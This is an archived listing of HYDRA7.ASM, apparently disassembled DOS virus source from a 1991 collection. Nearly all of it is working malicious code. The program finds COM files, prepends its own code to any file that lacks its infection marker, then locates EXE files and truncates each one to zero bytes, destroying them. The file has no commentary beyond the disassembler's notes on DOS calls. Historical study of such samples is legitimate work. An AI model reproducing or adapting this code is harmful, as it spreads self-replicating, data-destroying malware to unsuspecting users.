home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / HYDRA7.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  4KB  |  176 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    HYDRA7                         ██
  7. ;██                                         ██
  8. ;██      Created:   27-Aug-91                             ██
  9. ;██      Passes:    5           Analysis Options on: AW                 ██
  10. ;██      Copyright (c)                                 ██
  11. ;██                                         ██
  12. ;██████████████████████████████████████████████████████████████████████████
  13.  
  14. psp_cmd_size    equ    80h
  15. data_16e    equ    170h
  16. data_17e    equ    173h
  17.  
  18. seg_a        segment    byte public
  19.         assume    cs:seg_a, ds:seg_a
  20.  
  21.  
  22.         org    100h
  23.  
  24. hydra7        proc    far
  25.  
  26. start:
  27.         jmp    loc_1
  28.         pop    cx
  29.         inc    sp
  30.         add    [bx+si],al
  31. data_4        db    'HyDra-7   Beta - Not For Release'
  32.         db    '. *.CO?'
  33.         db    0
  34. data_7        dw    0, 8B39h
  35. data_9        dw    0
  36. data_10        db    0
  37.         db    29 dup (0)
  38. data_11        db    0
  39.         db    13 dup (0)
  40. copyright    db    'Copyright (c)'
  41.         db    '  1991 by C.A.V.E.  '
  42. data_12        db    2Ah
  43.         db     2Eh, 45h, 58h, 45h, 00h
  44. loc_1:
  45.         push    ax
  46.         mov    ax,cs
  47.         add    ax,1000h
  48.         xor    di,di            ; Zero register
  49.         mov    cx,170h
  50.         mov    si,100h
  51.         mov    es,ax
  52.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  53.         mov    ah,1Ah
  54.         mov    dx,offset data_10
  55.         int    21h            ; DOS Services  ah=function 1Ah
  56.                         ;  set DTA(disk xfer area) ds:dx
  57.         mov    ah,4Eh            ; 'N'
  58.         mov    dx,offset data_4+22h    ; ('*')
  59.         int    21h            ; DOS Services  ah=function 4Eh
  60.                         ;  find 1st filenam match @ds:dx
  61.         jc    loc_5            ; Jump if carry Set
  62. loc_2:
  63.         mov    ah,3Dh            ; '='
  64.         mov    al,2
  65.         mov    dx,offset data_11
  66.         int    21h            ; DOS Services  ah=function 3Dh
  67.                         ;  open file, al=mode,name@ds:dx
  68.         mov    bx,ax
  69.         push    es
  70.         pop    ds
  71.         mov    ax,3F00h
  72.         mov    cx,0FFFFh
  73.         mov    dx,data_16e
  74.         int    21h            ; DOS Services  ah=function 3Fh
  75.                         ;  read file, bx=file handle
  76.                         ;   cx=bytes to ds:dx buffer
  77.         add    ax,170h
  78.         mov    cs:data_9,ax
  79.         cmp    word ptr ds:data_17e,4459h
  80.         jne    loc_3            ; Jump if not equal
  81.         mov    ah,3Eh            ; '>'
  82.         int    21h            ; DOS Services  ah=function 3Eh
  83.                         ;  close file, bx=file handle
  84.         push    cs
  85.         pop    ds
  86.         mov    ah,4Fh            ; 'O'
  87.         int    21h            ; DOS Services  ah=function 4Fh
  88.                         ;  find next filename match
  89.         jc    loc_6            ; Jump if carry Set
  90.         jmp    short loc_2
  91. loc_3:
  92.         xor    cx,cx            ; Zero register
  93.         mov    dx,cx
  94.         mov    ax,4200h
  95.         int    21h            ; DOS Services  ah=function 42h
  96.                         ;  move file ptr, bx=file handle
  97.                         ;   al=method, cx,dx=offset
  98.         jc    loc_4            ; Jump if carry Set
  99.         mov    ah,40h            ; '@'
  100.         xor    dx,dx            ; Zero register
  101.         mov    cx,cs:data_9
  102.         int    21h            ; DOS Services  ah=function 40h
  103.                         ;  write file  bx=file handle
  104.                         ;   cx=bytes from ds:dx buffer
  105. loc_4:
  106.         mov    ah,3Eh            ; '>'
  107.         int    21h            ; DOS Services  ah=function 3Eh
  108.                         ;  close file, bx=file handle
  109.         push    cs
  110.         pop    ds
  111. loc_5:
  112.         mov    ah,1Ah
  113.         mov    dx,psp_cmd_size
  114.         int    21h            ; DOS Services  ah=function 1Ah
  115.                         ;  set DTA(disk xfer area) ds:dx
  116.         jmp    short loc_8
  117.         nop
  118. loc_6:
  119.         mov    ah,1Ah
  120.         mov    dx,offset data_10
  121.         int    21h            ; DOS Services  ah=function 1Ah
  122.                         ;  set DTA(disk xfer area) ds:dx
  123.         push    dx
  124.         mov    dx,offset data_12
  125.         mov    ah,4Eh            ; 'N'
  126.         xor    cx,cx            ; Zero register
  127.         int    21h            ; DOS Services  ah=function 4Eh
  128.                         ;  find 1st filenam match @ds:dx
  129.         jc    loc_5            ; Jump if carry Set
  130. loc_7:
  131.         mov    ah,3Ch            ; '<'
  132.         xor    cx,cx            ; Zero register
  133.         mov    dx,offset data_11
  134.         int    21h            ; DOS Services  ah=function 3Ch
  135.                         ;  create/truncate file @ ds:dx
  136.         mov    bx,ax
  137.         jc    loc_5            ; Jump if carry Set
  138.         mov    ah,3Eh            ; '>'
  139.         int    21h            ; DOS Services  ah=function 3Eh
  140.                         ;  close file, bx=file handle
  141.         jc    loc_5            ; Jump if carry Set
  142.         mov    ah,4Fh            ; 'O'
  143.         int    21h            ; DOS Services  ah=function 4Fh
  144.                         ;  find next filename match
  145.         jnc    loc_7            ; Jump if carry=0
  146. loc_8:
  147.         xor    di,di            ; Zero register
  148.         mov    si,24Eh
  149.         mov    cx,22h
  150.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  151.         pop    bx
  152.         mov    cs:data_7,0
  153.         mov    word ptr cs:data_7+2,es
  154.         pop    bx
  155.         jmp    dword ptr cs:data_7
  156.         push    ds
  157.         pop    es
  158.         mov    cx,0FFFFh
  159.         mov    si,270h
  160.         mov    di,100h
  161.         sub    cx,si
  162.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  163.         mov    word ptr cs:[100h],100h
  164.         mov    word ptr cs:[102h],ds
  165.         mov    ax,bx
  166.         jmp    dword ptr cs:[100h]
  167.         int    20h            ; DOS program terminate
  168.  
  169. hydra7        endp
  170.  
  171. seg_a        ends
  172.  
  173.  
  174.  
  175.         end    start
  176.